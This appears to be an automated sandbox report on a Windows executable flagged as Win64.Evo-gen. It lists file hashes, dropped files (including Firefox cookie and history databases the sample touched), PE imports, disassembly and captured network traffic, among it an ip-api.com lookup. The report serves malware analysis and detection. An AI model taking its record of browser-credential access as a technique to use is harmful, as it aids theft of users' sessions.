MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.996384436680205
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File size:	11'317'024 bytes
MD5:	d53e9b9d10affcf90e613abccc702ca2
SHA1:	24849b1a515347a75804d53c483ce6dffc78dbcc
SHA256:	0bcfadb848694ee56bf3fad6c3a9df4fde2d60cd52ce2a16be42b06fda520812
SHA512:	12518c78d05c6bccd7048a80bae141d286dd241bbf55afe6622c36e1e115018c48186a52c5fdb21d6b589461c7a619949d354045e15b5c76a2a09ebfdf392b46
SSDEEP:	196608:0GAYfPA7lz2Jp5UfLuseNvX+wfm/pf+xfdkR7c2WKsnqrIWOIW0DaqkH:LAYg7h2Jp5MivX+9/pWFGR7c2BsnqrID
TLSH:	1DB6335877F009E1FA6735BAD4828860D272FC610B64D78F47A856F62F1BA90487FF48
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................-.....................,.............................................................Rich...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000c330
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6628322A [Tue Apr 23 22:11:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	1af6c885af093afc55142c2f1761dbe8

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FBF156E68FCh
dec eax
add esp, 28h
jmp 00007FBF156E651Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FBF156E6E74h
test eax, eax
je 00007FBF156E66C3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FBF156E66A7h
dec eax
cmp ecx, eax
je 00007FBF156E66B6h
xor eax, eax
dec eax
cmpxchg dword ptr [000351BCh], ecx
jne 00007FBF156E6690h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FBF156E6699h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FBF156E66A9h
mov byte ptr [000351A5h], 00000001h
call 00007FBF156E6C81h
call 00007FBF156E7288h
test al, al
jne 00007FBF156E66A6h
xor al, al
jmp 00007FBF156E66B6h
call 00007FBF156F51EFh
test al, al
jne 00007FBF156E66ABh
xor ecx, ecx
call 00007FBF156E7298h
jmp 00007FBF156E668Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003516Ch], 00000000h
mov ebx, ecx
jne 00007FBF156E6709h
cmp ecx, 01h
jnbe 00007FBF156E670Ch
call 00007FBF156E6DEAh
test eax, eax
je 00007FBF156E66CAh
test ebx, ebx
jne 00007FBF156E66C6h
dec eax
lea ecx, dword ptr [00035156h]
call 00007FBF156F4FE2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e094	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x92c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x43000	0x2304	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b440	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3b300	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c000	0x420	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2adb0	0x2ae00	75d19a4940b1c41e95d0f65f35d07455	False	0.5456735149416909	data	6.502519008894634	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x12ebc	0x13000	519e0b7eb56483a35c4fbd196b4f35d2	False	0.5153551603618421	data	5.816328149825536	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3f000	0x33b8	0xe00	c77d6acf176d4b487ea671c3fd3a6945	False	0.13392857142857142	firmware 32a2 vdf2d (revision 2569732096) \377\377\377\377 , version 256.0.512, 0 bytes or less, at 0xcd5d20d2 1725235199 bytes , at 0 0 bytes , at 0xffffffff 16777216 bytes	1.828047079050098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x43000	0x2304	0x2400	f9c9a5a34be2cb8fd1246f51c7b22c72	False	0.4797092013888889	data	5.38202672986895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x46000	0x1f4	0x200	4ec0234c233e8c5ae54cd80f9630ff86	False	0.525390625	data	3.698330622853966	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x92c	0xa00	24b055042a4a23be9547a9d642aeed81	False	0.424609375	data	5.139706693526563	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x758	0x800	f1d633c1708caf707b59b5e59d6f78b3	False	0.54443359375	data	5.24651730799357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x37c	data			0.460762331838565
RT_MANIFEST	0x4741c	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 19:24:07.182427883 CEST	49740	80	192.168.2.4	208.95.112.1
Apr 24, 2024 19:24:07.341948032 CEST	80	49740	208.95.112.1	192.168.2.4
Apr 24, 2024 19:24:07.342048883 CEST	49740	80	192.168.2.4	208.95.112.1
Apr 24, 2024 19:24:07.347063065 CEST	49740	80	192.168.2.4	208.95.112.1
Apr 24, 2024 19:24:07.508085012 CEST	80	49740	208.95.112.1	192.168.2.4
Apr 24, 2024 19:24:07.512063026 CEST	49740	80	192.168.2.4	208.95.112.1
Apr 24, 2024 19:24:07.671652079 CEST	80	49740	208.95.112.1	192.168.2.4
Apr 24, 2024 19:24:07.671756029 CEST	49740	80	192.168.2.4	208.95.112.1
Apr 24, 2024 19:24:18.750966072 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:18.751020908 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:18.751216888 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:18.751899958 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:18.751933098 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.071511984 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.075305939 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.075366020 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.076903105 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.077685118 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.079044104 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.079044104 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.079165936 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.079396963 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.079427958 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.221479893 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.530252934 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.530421972 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.530623913 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.536576033 CEST	49751	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.536678076 CEST	443	49751	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.550335884 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.550384998 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.550483942 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.551260948 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.551275969 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.862529993 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.863152981 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.863176107 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.864649057 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.864712954 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.865537882 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.865619898 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.865896940 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.865902901 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:19.866019964 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.908921957 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:19.908931017 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:20.326749086 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:20.326898098 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:20.327184916 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:20.327701092 CEST	49753	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:20.327718019 CEST	443	49753	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:20.330655098 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.330684900 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.330780983 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.331438065 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.331450939 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.642507076 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.643013954 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.643032074 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.644474030 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.644541979 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.645598888 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.645680904 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.645896912 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.645903111 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.648124933 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.648160934 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.648328066 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.648360968 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.648530006 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.648576021 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.648685932 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.648709059 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.648844004 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.648859978 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.649010897 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649040937 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.649049997 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649055004 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.649169922 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649194002 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.649214029 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649226904 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.649233103 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649316072 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649347067 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.649370909 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692121029 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.692270041 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692289114 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.692308903 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692317009 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.692348003 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692362070 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.692378044 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692384958 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:20.692409992 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:20.692430019 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:22.028271914 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:22.028338909 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:22.028433084 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:22.029042006 CEST	49755	443	192.168.2.4	162.159.137.232
Apr 24, 2024 19:24:22.029058933 CEST	443	49755	162.159.137.232	192.168.2.4
Apr 24, 2024 19:24:23.615154982 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:23.615205050 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:23.615422010 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:23.616121054 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:23.616137981 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.550395012 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.551021099 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:24.551058054 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.552089930 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.552155972 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:24.559876919 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:24.560147047 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.560193062 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:24.604125023 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.612072945 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:24.612087965 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:24.658921957 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:25.158529043 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:25.158731937 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:25.158829927 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:25.159213066 CEST	49760	443	192.168.2.4	51.38.43.18
Apr 24, 2024 19:24:25.159233093 CEST	443	49760	51.38.43.18	192.168.2.4
Apr 24, 2024 19:24:25.726398945 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:25.726458073 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:25.726522923 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:25.727128983 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:25.727148056 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.053272963 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.053920031 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.053946972 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.057466984 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.057538986 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.058491945 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.058584929 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.058793068 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.058806896 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.058986902 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.059609890 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.059655905 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.059845924 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.059887886 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.059981108 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.060151100 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.060153008 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.060167074 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:26.060551882 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.060614109 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:26.060645103 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:28.057750940 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:28.057943106 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:28.057996988 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:28.059165001 CEST	49761	443	192.168.2.4	206.168.191.31
Apr 24, 2024 19:24:28.059189081 CEST	443	49761	206.168.191.31	192.168.2.4
Apr 24, 2024 19:24:28.062038898 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.062081099 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.062159061 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.062597990 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.062616110 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.377757072 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.378303051 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.378334999 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.381896019 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.381964922 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.382843971 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.383032084 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.383112907 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.383122921 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.383202076 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.424161911 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.888242006 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.888576984 CEST	443	49762	162.159.128.233	192.168.2.4
Apr 24, 2024 19:24:28.888639927 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.888819933 CEST	49762	443	192.168.2.4	162.159.128.233
Apr 24, 2024 19:24:28.888834953 CEST	443	49762	162.159.128.233	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 19:24:07.022964954 CEST	57811	53	192.168.2.4	1.1.1.1
Apr 24, 2024 19:24:07.177551985 CEST	53	57811	1.1.1.1	192.168.2.4
Apr 24, 2024 19:24:18.595778942 CEST	51515	53	192.168.2.4	1.1.1.1
Apr 24, 2024 19:24:18.749699116 CEST	53	51515	1.1.1.1	192.168.2.4
Apr 24, 2024 19:24:23.153984070 CEST	51228	53	192.168.2.4	1.1.1.1
Apr 24, 2024 19:24:23.613862038 CEST	53	51228	1.1.1.1	192.168.2.4
Apr 24, 2024 19:24:25.414225101 CEST	59869	53	192.168.2.4	1.1.1.1
Apr 24, 2024 19:24:25.725238085 CEST	53	59869	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 19:24:07.022964954 CEST	192.168.2.4	1.1.1.1	0x5900	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
